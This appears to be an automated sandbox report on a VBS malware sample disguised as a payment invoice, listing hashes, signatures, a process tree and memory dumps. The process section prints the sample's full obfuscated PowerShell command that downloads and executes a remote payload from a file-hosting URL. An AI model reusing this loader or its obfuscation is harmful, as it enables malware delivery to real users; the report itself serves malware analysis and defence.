Analysis
- max time kernel
119s - max time network
122s - platform
windows7_x64 - resource
win7-en-20211104 - submitted
30/11/2021, 17:59
General
- Target QWMSA_Payment_Invoice0939.vbs
- Size 605B
- Sample211130-wkp95sffdn
- SHA256 75dc265d032be64eba35add54a98a93fc11568d4fa95f3c9a4e9700f094b4d52
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QWMSA_Payment_Invoice0939.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://fs12n1.sendspace.com/dlpro/0dd20c7f3a4ee1dfdca7b0c84960d854/61a6614c/nlwyl5/WESA.txt')2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1220-58-0x000007FEF2110000-0x000007FEF2C6D000-memory.dmp
memory/1220-60-0x0000000002740000-0x0000000002742000-memory.dmp
memory/1220-61-0x0000000002742000-0x0000000002744000-memory.dmp
memory/1220-62-0x0000000002744000-0x0000000002747000-memory.dmp
memory/1220-59-0x000000001B7E0000-0x000000001BADF000-memory.dmp
memory/1220-63-0x000000000274B000-0x000000000276A000-memory.dmp
memory/1372-55-0x000007FEFC141000-0x000007FEFC143000-memory.dmp